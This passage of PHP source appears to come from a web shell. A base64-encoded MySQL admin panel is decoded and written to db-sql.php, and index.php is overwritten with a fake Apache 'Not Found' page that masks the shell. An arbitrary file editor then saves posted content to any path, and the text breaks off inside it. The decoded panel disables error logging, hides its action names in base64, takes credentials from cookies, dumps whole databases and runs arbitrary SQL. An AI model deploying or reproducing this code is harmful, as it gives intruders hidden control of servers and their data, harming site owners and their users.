D09ICJlbnVtIiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lPlxuIjsNCgkJCQllbHNlIGlmKCAkdHlwZSA9PSAic2V0IiApDQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRuYW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7DQoJCQkJd2hpbGUoICRzdHIgPSBzdHJ0b2soICInIiApICkgew0KCQkJCQlpZiggJHZhbHVlID09ICRzdHIgKQ0KCQkJCQkJZWNobyAiPG9wdGlvbiBzZWxlY3RlZD4kc3RyXG4iOw0KCQkJCQllbHNlDQoJCQkJCQllY2hvICI8b3B0aW9uPiRzdHJcbiI7DQoJCQkJCXN0cnRvayggIiciICk7DQoJCQkJfQ0KCQkJCWVjaG8gIjwvc2VsZWN0PlxuIjsNCgkJCQllY2hvICI8L3RkPlxuIjsNCgkJCX0gZWxzZSB7DQoJCQkJaWYoICRsZW4gPCA0MCApDQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lIHZhbHVlPVwiJHZhbHVlXCI+PC90ZD5cbiI7DQoJCQkJZWxzZQ0KCQkJCQllY2hvICI8dGQ+PHRleHRhcmVhIGNvbHM9NDAgcm93cz0zIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT4kdmFsdWU8L3RleHRhcmVhPlxuIjsNCgkJCX0NCgkJfQ0KCQllY2hvICI8L3RyPiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdBZGQgRGF0YSc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IERhdGEnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0NhbmNlbCcgb25DbGljaz0naGlzdG9yeS5iYWNrKCknPlxuIjsNCgllY2hvICI8L2Zvcm0+XG4iOw0KfQ0KDQpmdW5jdGlvbiBtYW5hZ2VEYXRhX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCSRxdWVyeVN0ciA9ICJJTlNFUlQgSU5UTyAkdGFibGVuYW1lIFZBTFVFUyAoIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCSRxdWVyeVN0ciA9ICJSRVBMQUNFIElOVE8gJHRhYmxlbmFtZSBWQUxVRVMgKCI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bS0xOyAkaSsrICkgew0KCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQgKTsNCgkJJGZ1bmMgPSAkR0xPQkFMU1skZmllbGQtPm5hbWUuIl9mdW5jdGlvbiJdOw0KCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJJHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsNCgkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkgew0KCQkJJHF1ZXJ5U3RyIC49ICRHTE9CQUxTWyRmaWVsZC0+bmFtZV07DQoJCQlpZiggJGZ1bmMgIT0gIiIgKQ0KCQkJCSRxdWVyeVN0ciAuPSAiKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiLCI7DQoJCX0gZWxzZSB7DQoJCQkkcXVlcnlTdHIgLj0gIiciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXTsNCgkJCWlmKCAkZnVuYyAhPSAiIiApDQoJCQkJJHF1ZXJ5U3RyIC49ICInKSwiOw0KCQkJZWxzZQ0KCQkJCSRxdWVyeVN0ciAuPSAiJywiOw0KCQl9DQoJfQ0KCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCApOw0KCWlmKCAkZmllbGQtPm51bWVyaWMgPT0gMSApDQoJCSRxdWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIikiOw0KCWVsc2UNCgkJJHF1ZXJ5U3RyIC49ICInIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJykiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCgl2aWV3RGF0YSggIiIgKTsNCn0NCg0KZnVuY3Rpb24gZGVsZXRlRGF0YSgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJJGtleSA9ICIiOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKQ0KCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7DQoJCQllbHNlDQoJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInIEFORCAiOw0KCX0NCgkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5U3RyID0gICJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICRrZXkiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCXZpZXdEYXRhKCAiIiApOw0KfQ0KDQpmdW5jdGlvbiBmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGUpDQp7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwkZGJuYW1lOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5X2lkID0gbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIFRBQkxFICR0YWJsZSIsJG15c3FsSGFuZGxlKTsNCgkkdGFibGVkdW1wID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5X2lkLCBNWVNRTF9BU1NPQyk7DQoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iIC4gJHRhYmxlZHVtcFsnQ3JlYXRlIFRhYmxlJ10gLiAiO1xuXG4iOw0KCWVjaG8gJHRhYmxlZHVtcDsNCgkvLyBnZXQgZGF0YQ0KCSRyb3dzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJHRhYmxlIiwkbXlzcWxIYW5kbGUpOw0KCSRudW1maWVsZHM9bXlzcWxfbnVtX2ZpZWxkcygkcm93cyk7DQoJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cywgTVlTUUxfTlVNKSkNCgl7DQoJCSR0YWJsZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOw0KCQkkZmllbGRjb3VudGVyID0gLTE7DQoJCSRmaXJzdGZpZWxkID0gMTsNCgkJLy8gZ2V0IGVhY2ggZmllbGQncyBkYXRhDQoJCXdoaWxlICgrKyRmaWVsZGNvdW50ZXIgPCAkbnVtZmllbGRzKQ0KCQl7DQoJCQlpZiAoISRmaXJzdGZpZWxkKQ0KCQkJew0KCQkJCSR0YWJsZWR1bXAgLj0gJywgJzsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkkZmlyc3RmaWVsZCA9IDA7DQoJCQl9DQoJCQlpZiAoIWlzc2V0KCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkpDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAnTlVMTCc7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAiJyIgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkgLiAiJyI7DQoJCQl9DQoJCX0NCgkJJHRhYmxlZHVtcCAuPSAiKTtcbiI7DQoJCWVjaG8gJHRhYmxlZHVtcDsNCgl9DQoJQG15c3FsX2ZyZWVfcmVzdWx0KCRyb3dzKTsNCn0NCg0KZnVuY3Rpb24gZHVtcCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkYWN0aW9uLCAkZGJuYW1lLCAkdGFibGVuYW1lOw0KCWlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiICl7DQoJCWhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogZmlsZW5hbWU9JHRhYmxlbmFtZS5zcWwiKTsNCgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IHVua25vd24vdW5rbm93bicpOw0KCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGVuYW1lKTsNCgkJZWNobyAiXG5cblxuIjsNCgkJZWNobyAiXHJcblxyXG5cclxuIyMjICR0YWJsZW5hbWUgVEFCTEUgRFVNUCBDT01QTEVURUQgIyMjIjsNCgkJZXhpdDsNCgl9ZWxzZXsNCgkJaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBmaWxlbmFtZT0kZGJuYW1lLnNxbCIpOw0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdW5rbm93bi91bmtub3duJyk7DQoJCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJCSRxdWVyeV9pZCA9IG15c3FsX3F1ZXJ5KCJTSE9XIHRhYmxlcyIsJG15c3FsSGFuZGxlKTsNCgkJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfaWQsIE1ZU1FMX05VTSkpDQoJCXsNCgkJCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkcm93WzBdKTsNCgkJCQllY2hvICJcblxuXG4iOw0KCQkJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkcm93WzBdIFRBQkxFIERVTVAgQ09NUExFVEVEICMjIyI7DQoJCQkJZWNobyAiXG5cblxuIjsNCgkJfQ0KCQllY2hvICJcclxuXHJcblxyXG4jIyMgJGRibmFtZSBEQVRBQkFTRSBEVU1QIENPTVBMRVRFRCAjIyMiOw0KCQlleGl0Ow0KCX0NCn0NCg0KZnVuY3Rpb24gdXRpbHMoKSB7DQoJZ2xvYmFsICRQSFBfU0VMRiwgJGNvbW1hbmQ7DQoJZWNobyAiPGgxPlV0aWxpdGllczwvaDE+XG4iOw0KCWlmKCAkY29tbWFuZCA9PSAiIiB8fCBzdWJzdHIoICRjb21tYW5kLCAwLCA1ICkgPT0gImZsdXNoIiApIHsNCgkJZWNobyAiPGhyPlxuIjsNCgkJZWNobyAiU2hvd1xuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3Byb2Nlc3NsaXN0Jz5Qcm9jZXNzbGlzdDwvYT5cbiI7DQoJCWVjaG8gIjwvdWw+XG4iOw0KCQllY2hvICJGbHVzaFxuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9ob3N0cyc+SG9zdHM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3RzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGhvc3RzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5Mb2dzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9sb2dzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGxvZ3MiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3ByaXZpbGVnZXMnPlByaXZpbGVnZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3ByaXZpbGVnZXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdlcyIgKSAhPSBmYWxzZSApDQoJCQkJZWNobyAiLSBTdWNjZXNzIjsNCgkJCWVsc2UNCgkJCQllY2hvICItIEZhaWwiOw0KCQl9DQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfdGFibGVzJz5UYWJsZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3RhYmxlcyIgKSB7DQoJCQlpZiggbXlzcWxfcXVlcnkoICJGbHVzaCB0YWJsZXMiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9zdGF0dXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggc3RhdHVzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPC91bD5cbiI7DQoJfSBlbHNlIHsNCgkJJHF1ZXJ5U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIgIiwgJGNvbW1hbmQgKTsNCgkJJHBSZXN1bHQgPSBteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICk7DQoJCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJCWVjaG8gIkZhaWwiOw0KCQkJcmV0dXJuOw0KCQl9DQoJCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kcXVlcnlTdHI8L3A+XG4iOw0KCQllY2hvICI8aHI+XG4iOw0KCQllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGJvcmRlcj0wPlxuIjsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJCWVjaG8gIjx0aD4iLiRmaWVsZC0+bmFtZS4iPC90aD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJCXdoaWxlKCAxICkgew0KCQkJJHJvd0FycmF5ID0gbXlzcWxfZmV0Y2hfcm93KCAkcFJlc3VsdCApOw0KCQkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFrOw0KCQkJZWNobyAiPHRyPlxuIjsNCgkJCWZvciggJGogPSAwOyAkaiA8ICRjb2w7ICRqKysgKQ0KCQkJCWVjaG8gIjx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0gKS4iPC90ZD5cbiI7DQoJCQllY2hvICI8L3RyPlxuIjsNCgkJfQ0KCQllY2hvICI8L3RhYmxlPlxuIjsNCgl9DQp9DQpmdW5jdGlvbiBmb290ZXJfaHRtbCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRVU0VSTkFNRTsNCgllY2hvICI8aHI+XG4iOw0KCWVjaG8gIjxzcGFuIGNsYXNzPVwibmV3XCI+WyRVU0VSTkFNRV08L3NwYW4+IC0gXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YkdsemRFUkNjdz09Jz5EYXRhYmFzZSBMaXN0PC9hPiB8IFxuIjsNCglpZiggJHRhYmxlbmFtZSAhPSAiIiApDQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bGlzdFRhYmxlcyZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+VGFibGUgTGlzdDwvYT4gfCAiOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMnPlV0aWxzPC9hPiB8XG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bG9nb3V0Jz5Mb2dvdXQ8L2E+XG4iOw0KfQ0KLy8tLS0tLS0tLS0tLS0tIE1BSU4gLS0tLS0tLS0tLS0tLSAvLw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KaW5pX3NldCAoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQppbmlfc2V0ICgnbG9nX2Vycm9ycycsIDApOw0KaWYoICRhY3Rpb24gPT0gImxvZ29uIiB8fCAkYWN0aW9uID09ICIiIHx8ICRhY3Rpb24gPT0gImxvZ291dCIgKQ0KCWxvZ29uKCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJiRzluYjI1ZmMzVmliV2wwIiApDQoJbG9nb25fc3VibWl0KCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiIHx8ICRhY3Rpb24gPT0gImR1bXBEQiIgKSB7DQoJd2hpbGUoIGxpc3QoJHZhciwgJHZhbHVlKSA9IGVhY2goJEhUVFBfQ09PS0lFX1ZBUlMpICkgew0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApICRVU0VSTkFNRSA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQgPSAkdmFsdWU7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICkgJEhPU1ROQU1FID0gJHZhbHVlOw0KCX0NCgkkbXlzcWxIYW5kbGUgPSBAbXlzcWxfY29ubmVjdCggJEhPU1ROQU1FLiI6MzMwNiIsICRVU0VSTkFNRSwgJFBBU1NXT1JEICk7DQoJZHVtcCgpOw0KfSBlbHNlIHsNCgl3aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0gZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5fdXNlcm5hbWUiICkgJFVTRVJOQU1FID0gJHZhbHVlOw0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3Bhc3N3b3JkIiApICRQQVNTV09SRCA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9TVE5BTUUgPSAkdmFsdWU7DQoJfQ0KCWVjaG8gIjwhLS0iOw0KCSRteXNxbEhhbmRsZSA9IEBteXNxbF9jb25uZWN0KCAkSE9TVE5BTUUuIjozMzA2IiwgJFVTRVJOQU1FLCAkUEFTU1dPUkQgKTsNCgllY2hvICItLT4iOw0KCWlmKCAkbXlzcWxIYW5kbGUgPT0gZmFsc2UgKSB7DQoJCWVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7DQoJCWVjaG8gIjxoMT5Xcm9uZyBQYXNzd29yZCE8L2gxPlxuIjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1sb2dvbic+TG9nb248L2E+XG4iOw0KCQllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJfSBlbHNlIHsNCgkJaWYoICRhY3Rpb24gPT0gImJHbHpkRVJDY3c9PSIgKQ0KCQkJbGlzdERhdGFiYXNlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVEQiIgKQ0KCQkJY3JlYXRlRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcERCIiApDQoJCQlkcm9wRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAibGlzdFRhYmxlcyIgKQ0KCQkJbGlzdFRhYmxlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVUYWJsZSIgKQ0KCQkJY3JlYXRlVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcFRhYmxlIiApDQoJCQlkcm9wVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAidmlld1NjaGVtYSIgKQ0KCQkJdmlld1NjaGVtYSgpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJxdWVyeSIgKQ0KCQkJdmlld0RhdGEoICRxdWVyeVN0ciApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJhZGRGaWVsZCIgKQ0KCQkJbWFuYWdlRmllbGQoICJhZGQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RmllbGQiICkNCgkJCW1hbmFnZUZpZWxkKCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcEZpZWxkIiApDQoJCQlkcm9wRmllbGQoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IiApDQoJCQl2aWV3RGF0YSggIiIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImFkZCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YV9zdWJtaXQiICkNCgkJCW1hbmFnZURhdGFfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImVkaXQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImVkaXREYXRhX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRGF0YV9zdWJtaXQoICJlZGl0IiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJkZWxldGVEYXRhIiApDQoJCQlkZWxldGVEYXRhKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gInV0aWxzIiApDQoJCQl1dGlscygpOw0KCQlteXNxbF9jbG9zZSggJG15c3FsSGFuZGxlKTsNCgkJZm9vdGVyX2h0bWwoKTsNCgl9DQp9DQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5NeVNRTCBJbnRlcmZhY2UgKERldmVsb3BlZCBCeSBNb2hhamVyMjIpPC90aXRsZT4NCjxib2R5IGJnQ29sb3I9IzAwMDAwMCA+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KcC5sb2NhdGlvbiB7DQoJY29sb3I6ICMwMEZGMDA7DQp9DQpoMSwgaDIsIGgzIHsNCgljb2xvcjogIzAwRkYwMDsNCn0NCnRoIHsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMDAwOw0KCWNvbG9yOiAjMDBGRjAwOw0KCWZvbnQtc2l6ZTogc21hbGw7DQp9DQp0ZCB7DQoJY29sb3I6ICMwMEZGMDA7DQoJYmFja2dyb3VuZC1jb2xvcjogIzAwMDsNCglmb250LXNpemU6IHNtYWxsOw0KfQ0KZm9ybSB7DQoJbWFyZ2luLXRvcDogMDsNCgltYXJnaW4tYm90dG9tOiAwOw0KfQ0KYSB7DQoJdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQoJY29sb3I6ICMwMEZGMDA7DQoJZm9udC1zaXplOnNtYWxsOw0KfQ0KQTpsaW5rIHsNCkNPTE9SOiNGRkZGRkY7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmFjdGl2ZSB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCmNvbG9yOiMwMEZGMDA7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCmlucHV0LCBzZWxlY3QsIHRleHRhcmVhIHsNCmJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQpib3JkZXItc3R5bGU6IHNvbGlkOw0KZm9udC1mYW1pbHk6IFRhaG9tYSxWZXJkYW5hLEFyaWFsLFNhbnMtU2VyaWY7DQpmb250LXNpemU6c21hbGw7DQpjb2xvcjogIzAwRkYwMDsNCnBhZGRpbmc6IDBweDsNCn0NCmxpIHsNCmNvbG9yOiAjMDBGRjAwOw0KfQ0KLm5ldyB7DQpjb2xvcjogIzAwRkYwMDsNCn0NCi8vLS0+DQo8L3N0eWxlPg0KPC9oZWFkPg==';
$file = fopen("db-sql.php" ,"w+");
$write = fwrite ($file ,base64_decode($sqlshell));
fclose($file);
    chmod("db-sql.php", 0644);
$indexshell = fopen("index.php" ,"w+");
$data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+';
$tulis = fwrite( $indexshell, base64_decode($data));
fclose($indexshell);
   echo "<iframe src=mysql/db-sql.php width=97% height=100% frameborder=0></iframe>";
}
 
elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){
 
                if(isset($_POST['save'])){
                        $file = $_POST['saveas'];
                        $content = magicboom($_POST['content']);
                        if($filez = @fopen($file,"w")){
                                $time = date("d-M-Y H:i",time());
                                if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time;
                                else $msg = "failed to save";
                                @fclose($filez);
                        }
                        else $msg = "permission denied";
                }
                if(!isset($file)) $file = $_GET['edit'];
                if($filez = @fopen($file,"r")){
                        $content = "";
                        while(!feof($filez)){
